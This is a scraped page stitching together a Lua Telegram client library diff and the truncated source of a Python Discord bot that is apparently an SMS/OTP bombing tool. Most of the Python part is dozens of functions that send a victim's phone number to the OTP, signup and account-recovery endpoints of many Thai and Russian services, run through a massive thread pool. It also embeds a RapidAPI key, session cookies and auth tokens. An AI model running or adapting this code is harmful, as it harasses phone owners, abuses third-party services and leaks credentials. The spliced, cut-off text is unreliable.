+ +-- Sets value of an option. +-- See list of available options on https://core.telegram.org/tdlib/options. +-- Only writable options can be set +-- @name Name of the option +-- @value New value of the option +local function setOption(name, option, value, dl_cb, cmd) + tdcli_function ({ + ID = "SetOption", + name_ = name, + value_ = { + ID = 'Option' .. option, + value_ = value + }, + }, dl_cb, cmd) +end + +M.setOption = setOption + +-- Changes period of inactivity, after which the account of currently logged in user will be automatically deleted +-- @ttl New account TTL +local function changeAccountTtl(days, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeAccountTtl", + ttl_ = { + ID = "AccountTtl", + days_ = days + }, + }, dl_cb, cmd) +end + +M.changeAccountTtl = changeAccountTtl + +-- Returns period of inactivity, after which the account of currently logged in user will be automatically deleted +local function getAccountTtl(dl_cb, cmd) + tdcli_function ({ + ID = "GetAccountTtl", + }, dl_cb, cmd) +end + +M.getAccountTtl = getAccountTtl + +-- Deletes the account of currently logged in user, deleting from the server all information associated with it. +-- Account's phone number can be used to create new account, but only once in two weeks +-- @reason Optional reason of account deletion +local function deleteAccount(reason, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteAccount", + reason_ = reason + }, dl_cb, cmd) +end + +M.deleteAccount = deleteAccount + +-- Returns current chat report spam state +-- @chat_id Chat identifier +local function getChatReportSpamState(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChatReportSpamState", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.getChatReportSpamState = getChatReportSpamState + +-- Reports chat as a spam chat or as not a spam chat. +-- Can be used only if ChatReportSpamState.can_report_spam is true. +-- After this request ChatReportSpamState.can_report_spam became false forever +-- @chat_id Chat identifier +-- @is_spam_chat If true, chat will be reported as a spam chat, otherwise it will be marked as not a spam chat +local function changeChatReportSpamState(chat_id, is_spam_chat, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatReportSpamState", + chat_id_ = chat_id, + is_spam_chat_ = is_spam_chat + }, dl_cb, cmd) +end + +M.changeChatReportSpamState = changeChatReportSpamState + +-- Bots only. +-- Informs server about number of pending bot updates if they aren't processed for a long time +-- @pending_update_count Number of pending updates +-- @error_message Last error's message +local function setBotUpdatesStatus(pending_update_count, error_message, dl_cb, cmd) + tdcli_function ({ + ID = "SetBotUpdatesStatus", + pending_update_count_ = pending_update_count, + error_message_ = error_message + }, dl_cb, cmd) +end + +M.setBotUpdatesStatus = setBotUpdatesStatus + +-- Returns Ok after specified amount of the time passed +-- @seconds Number of seconds before that function returns +local function setAlarm(seconds, dl_cb, cmd) + tdcli_function ({ + ID = "SetAlarm", + seconds_ = seconds + }, dl_cb, cmd) +end + +M.setAlarm = setAlarm + +-- Text message +-- @text Text to send +-- @disable_notification Pass true, to disable notification about the message, doesn't works in secret chats +-- @from_background Pass true, if the message is sent from background +-- @reply_markup Bots only. Markup for replying to message +-- @disable_web_page_preview Pass true to disable rich preview for link in the message text +-- @clear_draft Pass true if chat draft message should be deleted +-- @entities Bold, Italic, Code, Pre, PreCode and TextUrl entities contained in the text. Non-bot users can't use TextUrl entities. Can't be used with non-null parse_mode +-- @parse_mode Text parse mode, nullable. Can't be used along with enitities +local function sendMessage(chat_id, reply_to_message_id, disable_notification, text, disable_web_page_preview, parse_mode) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = 1, + reply_markup_ = nil, + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, dl_cb, nil) +end + +M.sendMessage = sendMessage + +-- Animation message +-- @animation Animation file to send +-- @thumb Animation thumb, if available +-- @width Width of the animation, may be replaced by the server +-- @height Height of the animation, may be replaced by the server +-- @caption Animation caption, 0-200 characters +local function sendAnimation(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, animation, width, height, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageAnimation", + animation_ = getInputFile(animation), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + width_ = width or '', + height_ = height or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendAnimation = sendAnimation + +-- Audio message +-- @audio Audio file to send +-- @album_cover_thumb Thumb of the album's cover, if available +-- @duration Duration of audio in seconds, may be replaced by the server +-- @title Title of the audio, 0-64 characters, may be replaced by the server +-- @performer Performer of the audio, 0-64 characters, may be replaced by the server +-- @caption Audio caption, 0-200 characters +local function sendAudio(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, audio, duration, title, performer, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageAudio", + audio_ = getInputFile(audio), + --album_cover_thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + duration_ = duration or '', + title_ = title or '', + performer_ = performer or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendAudio = sendAudio + +-- Document message +-- @document Document to send +-- @thumb Document thumb, if available +-- @caption Document caption, 0-200 characters +local function sendDocument(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, document, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageDocument", + document_ = getInputFile(document), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + caption_ = caption + }, + }, dl_cb, cmd) +end + +M.sendDocument = sendDocument + +-- Photo message +-- @photo Photo to send +-- @caption Photo caption, 0-200 characters +local function sendPhoto(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, photo, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessagePhoto", + photo_ = getInputFile(photo), + added_sticker_file_ids_ = {}, + width_ = 0, + height_ = 0, + caption_ = caption + }, + }, dl_cb, cmd) +end + +M.sendPhoto = sendPhoto + +-- Sticker message +-- @sticker Sticker to send +-- @thumb Sticker thumb, if available +local function sendSticker(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageSticker", + sticker_ = getInputFile(sticker), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + }, + }, dl_cb, cmd) +end + +M.sendSticker = sendSticker + +-- Video message +-- @video Video to send +-- @thumb Video thumb, if available +-- @duration Duration of video in seconds +-- @width Video width +-- @height Video height +-- @caption Video caption, 0-200 characters +local function sendVideo(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, video, duration, width, height, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVideo", + video_ = getInputFile(video), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + added_sticker_file_ids_ = {}, + duration_ = duration or '', + width_ = width or '', + height_ = height or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendVideo = sendVideo + +-- Voice message +-- @voice Voice file to send +-- @duration Duration of voice in seconds +-- @waveform Waveform representation of the voice in 5-bit format +-- @caption Voice caption, 0-200 characters +local function sendVoice(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, voice, duration, waveform, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVoice", + voice_ = getInputFile(voice), + duration_ = duration or '', + waveform_ = waveform or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendVoice = sendVoice + +-- Message with location +-- @latitude Latitude of location in degrees as defined by sender +-- @longitude Longitude of location in degrees as defined by sender +local function sendLocation(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, latitude, longitude, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageLocation", + location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + }, + }, dl_cb, cmd) +end + +M.sendLocation = sendLocation + +-- Message with information about venue +-- @venue Venue to send +-- @latitude Latitude of location in degrees as defined by sender +-- @longitude Longitude of location in degrees as defined by sender +-- @title Venue name as defined by sender +-- @address Venue address as defined by sender +-- @provider Provider of venue database as defined by sender. Only "foursquare" need to be supported currently +-- @id Identifier of the venue in provider database as defined by sender +local function sendVenue(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, latitude, longitude, title, address, id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVenue", + venue_ = { + ID = "Venue", + location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + title_ = title, + address_ = address, + provider_ = 'foursquare', + id_ = id + }, + }, + }, dl_cb, cmd) +end + +M.sendVenue = sendVenue + +-- User contact message +-- @contact Contact to send +-- @phone_number User's phone number +-- @first_name User first name, 1-255 characters +-- @last_name User last name +-- @user_id User identifier if known, 0 otherwise +local function sendContact(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, phone_number, first_name, last_name, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageContact", + contact_ = { + ID = "Contact", + phone_number_ = phone_number, + first_name_ = first_name, + last_name_ = last_name, + user_id_ = user_id + }, + }, + }, dl_cb, cmd) +end + +M.sendContact = sendContact + +-- Message with a game +-- @bot_user_id User identifier of a bot owned the game +-- @game_short_name Game short name +local function sendGame(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, bot_user_id, game_short_name, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageGame", + bot_user_id_ = bot_user_id, + game_short_name_ = game_short_name + }, + }, dl_cb, cmd) +end + +M.sendGame = sendGame + +-- Forwarded message +-- @from_chat_id Chat identifier of the message to forward +-- @message_id Identifier of the message to forward +local function sendForwarded(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, from_chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageForwarded", + from_chat_id_ = from_chat_id, + message_id_ = message_id + }, + }, dl_cb, cmd) +end + +M.sendForwarded = sendForwarded + +return M cli/tg/tgcli (Binary file not shown.) 0 comments on commit 3233fdf Comment on 3233fdf Leave a comment Comment Desktop version
Godbyhub / 108apiimport os, wmi from sys import prefix from attr import validate import discord from discord.ext import commands from discord.ext import commands import discord from discord_buttons_plugin import * import requests, json, threading, requests, json, validators import requests, time, os from os import system from typing_extensions import Required import discord from discord import client from discord.utils import get import gratient from concurrent.futures import ThreadPoolExecutor from re import search from time import sleep import requests from discord import embeds from datetime import datetime from discord import message from discord.ext import commands from discord.ext.commands.core import command, has_role from requests import post, Session from re import search from random import choice from string import ascii_uppercase, digits from concurrent.futures import ThreadPoolExecutor from discord.ext import commands from json import loads, dumps, load PREFIX = 'wy.' TOKEN = '' LIMIT = 100 blacklist = [ "191", "0956150861" ] bot = commands.Bot(command_prefix=PREFIX) bot.remove_command("help") def randomString(N): return ''.join(choice(ascii_uppercase + digits) for _ in range(N)) threading = ThreadPoolExecutor(max_workers=int(100000000)) useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" header = {"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"} print(gratient.black(''' ╔════════════════════════════════════════════╗ ║ .______ ______ .___________. ║ ║ | _ \ / __ \ | | ║ ║ | |_) | | | | | `---| |----` ║ ║ | _ < | | | | | | ║ ║ | |_) | | `--' | | | ║ ║ |______/ \______/ |__| ║ ╚════════════════════════════════════════════╝ ''')) @bot.event async def on_command_error(ctx, error): if isinstance(error, commands.CommandOnCooldown): await ctx.send(f"`cooldown {round(error.retry_after, 2)} seconds left`") @bot.event async def on_ready(): print(gratient.red(f"login as {bot.user}")) system('title ' + (f"{bot.user}")) def randomString(N): return ''.join(choice(ascii_uppercase + digits) for _ in range(N)) threading = ThreadPoolExecutor(max_workers=int(100000000)) useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" def sk1(phone): post("https://api.myfave.com/api/fave/v3/auth",headers={"client_id": "dd7a668f74f1479aad9a653412248b62", "User-Agent": useragent},json={"phone": f"66{phone}"}) def sk2(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", headers={"User-Agent": useragent}, json={"reqId":"39816-1633012470","params":{"phone": f"+66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def sk3(phone): post("https://api2.1112.com/api/v1/otp/create", headers={"User-Agent": useragent}, data={'phonenumber': phone,'language': "th"}) def sk4(phone): post("https://ecomapi.eveandboy.com/v10/user/signup/phone", headers={"User-Agent": useragent}, data={"phone": phone,"password":"123456789Az"}) def sk5(phone): post("https://api.1112delivery.com/api/v1/otp/create", headers={"User-Agent": useragent}, data={'phonenumber': phone,'language': "th"}) def sk6(phone): post("https://gccircularlivingshop.com/sms/sendOtp", headers={"User-Agent": useragent}, json={"grant_type":"otp","username": f"+66{phone[1:]}","password":"","client":"ecommerce"}) def sk7(phone): post("https://shop.foodland.co.th/login/generation", headers={"User-Agent": useragent}, data={"phone": phone}) def sk8(phone): post("https://api-shop.diorbeauty.hk/api/th/ecrm/sms_generate_code", headers={"User-Agent": useragent}, data={"number": f"+66{phone[1:]}"}) def sk9(phone): post("https://api.sacasino9x.com/api/RegisterService/RequestOTP", headers={"User-Agent": useragent}, json={"Phone": phone}) def sk10(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", headers={"User-Agent": useragent}, data={"phone": phone}) def sk11(phone): post("https://www.konvy.com/ajax/system.php?type=reg&action=get_phone_code", headers={"User-Agent": useragent}, data={"phone": phone}) def sk12(phone): post("https://partner-api.grab.com/grabid/v1/oauth2/otp", headers={"User-Agent": useragent}, json={"client_id":"4ddf78ade8324462988fec5bfc5874c2","transaction_ctx":"null","country_code":"TH","method":"SMS","num_digits":"6","scope":"openid profile.read foodweb.order foodweb.rewards foodweb.get_enterprise_profile","phone_number": f"66{phone[1:]}"}) def sk13(phone): post("https://api.scg-id.com/api/otp/send_otp", headers={"User-Agent": useragent, "Content-Type": "application/json;charset=UTF-8"},json={"phone_no": phone}) def sk14(phone): session = Session() searchItem = session.get("https://www.shopat24.com/register/").text ReqTOKEN = search("""<input type="hidden" name="_csrf" value="(.*)" />""", searchItem).group(1) session.post("https://www.shopat24.com/register/ajax/requestotp/", headers={"User-Agent": useragent, "content-type": "application/x-www-form-urlencoded; charset=UTF-8","X-CSRF-TOKEN": ReqTOKEN}, data={"phoneNumber": phone}) def sk15(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", headers={"User-Agent": useragent}, data={"tel": phone,"otp_type":"register"}) def sk16(phone): post("https://the1web-api.the1.co.th/api/t1p/regis/requestOTP", headers={"User-Agent": useragent}, json={"on":{"value": phone,"country":"66"},"type":"mobile"}) def sk17(phone): post(f"https://th.kerryexpress.com/website-api/api/OTP/v1/RequestOTP/{phone}", headers={"User-Agent": useragent}) def sk18(phone): post("https://graph.firster.com/graphql",headers={"User-Agent": useragent, "organizationcode": "lifestyle","content-type": "application/json"}, json={"operationName":"sendOtp","variables":{"input":{"mobileNumber": phone[1:],"phoneCode":"THA-66"}},"query":"mutation sendOtp($input: SendOTPInput!) {\n sendOTPRegister(input: $input) {\n token\n otpReference\n expirationOn\n __typename\n }\n}\n"}) def sk19(phone): post("https://nocnoc.com/authentication-service/user/OTP?b-uid=1.0.661", headers={"User-Agent": useragent}, json={"lang":"th","userType":"BUYER","locale":"th","orgIdfier":"scg","phone": f"+66{phone[1:]}","type":"signup","otpTemplate":"buyer_signup_otp_message","userParams":{"buyerName": randomString(10)}}) def sk20(phone): post("https://store.boots.co.th/api/v1/guest/register/otp", headers={"User-Agent": useragent}, json={"phone_number":f"+66{phone[1:]}"}) def sk21(phone): post("https://m.lucabet168.com/api/register-otp", headers={"User-Agent": useragent} ,json={"brands_id":"609caede5a67e5001164b89d","agent_register":"60a22f7d233d2900110070d7","tel": phone}) def sk22(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": useragent}).text session.post("https://srfng.ais.co.th/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": useragent,"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def sk23(phone): post(url="https://www.cpffeedonline.com/Customer/RegisterRequestOTP", data={"mobileNumber":f"{phone}"}) def sk24(phone): post(url="https://www.tgfone.com/index.php/signin/otp_chk", data={"mobile":f"{phone}"}) def sk25(phone): post("https://api2.1112.com/api/v1/otp/create", json={"phonenumber":f"0{phone}","language":"th"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk26(phone): post("https://unacademy.com/api/v3/user/user_check/", json={"phone":f"0{phone}","country_code":"TH"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk27(phone): post(f"http://m.vcanbuy.com/gateway/msg/send_regist_sms_captcha?mobile=66-0{phone}") def sk28(phone): post("https://ocs-prod-api.makroclick.com/next-ocs-member/user/register", json={"username": f"0{phone}","password":"6302814184624az","name":"0903281894","provinceCode":"28","districtCode":"393","subdistrictCode":"3494","zipcode":"40260","siebelCustomerTypeId":"710","acceptTermAndCondition":"true","hasSeenConsent":"false","locale":"th_TH"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk29(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", data={"phone": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk30(phone): post("https://www.berlnw.com/reservelogin", data={"p_myreserve": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk31(phone): post("https://www.kickoff28.com/action.php?mode=PreRegister", data={"tel": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk32(phone): post("https://1ufabet.com/_ajax_/request-otp", data={"request_otp[phoneNumber]": f"0{phone}", "request_otp[termAndCondition]": "1", "request_otp[_token]": "XBNcvQIzJK1pjh_2T0BBzLiDa6vSivktDN317mbw3ws"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def p1112(phone): d=post('https://api2.1112.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers= header).status_code def p1112v2(phone): d=post('https://api.1112delivery.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers=header).status_code def yandex(phone): d=post("https://taxi.yandex.kz/3.0/launch/",json={},headers=header).json() d=post("https://taxi.yandex.kz/3.0/auth/",json={"id": d["id"], "phone": f"+66{phone[1:]}"},headers=header).text def okru(phone): s=Session() s.headers.update({"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38","Content-Type" : "application/x-www-form-urlencoded","Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}) s.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",data=f"st.r.phone=+66{phone[1:]}") s.post("https://ok.ru/dk?cmd=AnonymRegistrationAcceptCallUI&st.cmd=anonymRegistrationAcceptCallUI",data="st.r.fieldAcceptCallUIButton=Call") def karusel(phone): s=Session() s.post('https://app.karusel.ru/api/v1/phone/', data={'phone': phone}) def KFC(_phone): post('https://app-api.kfc.ru/api/v1/common/auth/send-validation-sms', json={'phone': '+' + _phone}) def icq(phone): post(f"https://u.icq.net/api/v4/rapi",json={"method":"auth/sendCode","reqId":"24973-1587490090","params":{"phone": f"66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}},headers=header) def findclone(phone): d=get(f"https://findclone.ru/register?phone=+66{phone[1:]}",headers={"X-Requested-With" : "XMLHttpRequest","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36"}).json() def spam_pizza(phone): #pizza post('https://api2.1112.com/api/v1/otp/create', data = {'phonenumber': phone, 'language': "th"}) def youla(phone): post('https://youla.ru/web-api/auth/request_code', data={'phone': phone}) def ig_token(): d=get("https://www.instagram.com/",headers=header).headers['set-cookie'] d=search("csrftoken=(.*);",d).group(1).split(";") return d[0],d[10].replace(" Secure, ig_did=","") def Facebook(phone): token,_=ig_token() d=post("https://www.instagram.com/accounts/account_recovery_send_ajax/",data=f"email_or_username=66{phone}&recaptcha_challenge_field=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def instagram(phone): token,cid=ig_token() d=post("https://www.instagram.com/accounts/send_signup_sms_code_ajax/",data=f"client_id={cid}&phone_number=66{phone}&phone_id=&big_blue_token=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def Rapid(phone): d=post('https://rapidapi.com/blaazetech/api/spam-caller-check/',json={"phonenumber":phone,"language":"th"},headers=header).status_code def VBC(phone): post('https://twitter-user-profile-data.p.rapidapi.com/v1/api/twitter',headers = {'content-type': "application/json",'x-rapidapi-host': "twitter-user-profile-data.p.rapidapi.com",'x-rapidapi-key': "775b9796aemshb6a4eefc8d0e33cp1d04d7jsnefd368e22b03"}) def api1(phone): post("https://m.thisshop.com/cos/send/code/notice", json={"sessionContext":{"channel":"h5","entityCode":0,"userReferenceNumber":"12w12y11r52gz259ue14rr7g7370239m","localDateTimeText":"20220115182850","riskMessage":"{}","serviceCode":"FLEX0001","superUserId":"sysadmin","tokenKey":"149d5c7bae10304c8aba0da2bbc59cb7","authorizationReason":"","transactionBranch":"TFT_ORG_0000","userId":"","locale":"th-TH"},"noticeType":1,"businessType":"RT0001","phoneNumber":f"66-{phone}"},headers={"content-type": "application/json; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api2(phone): headers = { "content-type": "application/x-www-form-urlencoded", "user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36", "referer": "https://www.wongnai.com/guest2?_f=signUp&guest_signup_type=phone", "cookie": "_gcl_au=1.1.1123274548.1637746846" } post("https://www.wongnai.com/_api/guest.json?_v=6.054&locale=th&_a=phoneLogIn",headers=headers,data=f"phoneno={phone}&retrycount=0") def api3(phone): post("https://gettgo.com/sessions/otp_for_sign_up", data={"mobile_number":phone}) def api4(phone): post("https://api.true-shopping.com/customer/api/request-activate/mobile_no", data={"username": phone}) def api5(phone): post("https://www.msport1688.com/auth/send_otp", data={"phone":phone}) def api6(phone): post("http://b226.com/x/code", data={f"phone":phone}) def api7(phone): post('https://www.sso.go.th/wpr/MEM/terminal/ajax_send_otp',headers = {"User-Agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","X-Requested-With": "XMLHttpRequest","Cookie": "sso_local_storeci_sessions=KHj9a18RowgHYWbh71T2%2FDFAcuC2%2FQaJkguD3MQ1eh%2FlwrUXvpAjJgrm6QKAja4oe7rglht%2BzO6oqblJ4EMJF4pqnY%2BGtR%2F0RzIFGN0Suh1DJVRCMPpP8QtZsF5yDyw6ibCMf2HXs95LvAMi7KUkIeaWkSahmh5f%2F3%2FqcOQ2OW5yakrMGA1mJ5upBZiUdEYNmxUAljcqrg7P3L%2BGAXxxC2u1bO09Oz4qf4ZV9ShO0gz5p5CbkE7VxIq1KUrEavn9Y%2BarQmsh1qIIc51uvCev1U1uyXfC%2F9U7uRl7x%2FVYZYT2pkLd3Q7qnZoSNBL8y9wge8Lt7grySdVLFhw9HB68dTSiOm1K04QhdrprI7EsTLWDHTgYmgyTQDuz63YjHsH5MUVanlfBISU1WXmRTXMKbUjlcl0LPPYUR9KWzrVL7sXcrCX%2FfUwLJIU%2F7MTtDYUx39y1CAREM%2F8dw7AEjcJAOA%3D%3D684b65b9b9dc33a3380c5b121b6c2b3ecb6f1bec; PHPSESSID=1s2rdo0664qpg4oteil3hhn3v2; TS01ac2b25=01584aa399fbfcc6474d383fdc1405e05eaa529fa33e596e5189664eb7dfefe57b927d8801ad40fba49f0adec4ce717dd5eabf08d7080e2b85f34368a92a47e71ef07861a287c40da15c0688649509d7f97eb2c293; _ga=GA1.3.1824294570.1636876684; _gid=GA1.3.1832635291.1636876684"},data=f"dCard=1358231116147&Mobile={phone}&password=098098Az&repassword=098098Az&perPrefix=Mr.&cn=Dhdhhs&sn=Vssbsh&perBirthday=5&perBirthmonth=5&perBirthyear=2545&Email=nickytom5879%40gmail.com&otp_type=OTP&otpvalue=&messageId=REGISTER") def api8(phone): post("https://api.mcshop.com/cognito/me/forget-password",headers={"x-store-token": "mcshop","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/json;charset=UTF-8","accept": "application/json, text/plain, */*","x-auth-token": "O2d1ZXN0OzkyMDIzOTU7YThmNWMyZDE4YThlOTMzOGMyOGMwYWE5ODQwNTBjY2I7Ozs7","x-api-key": "ZU2QOTDkCV5JYVkWXdYFL8niGXB8l1mq2H2NQof3"},json={"username": phone}) def api9(phone): 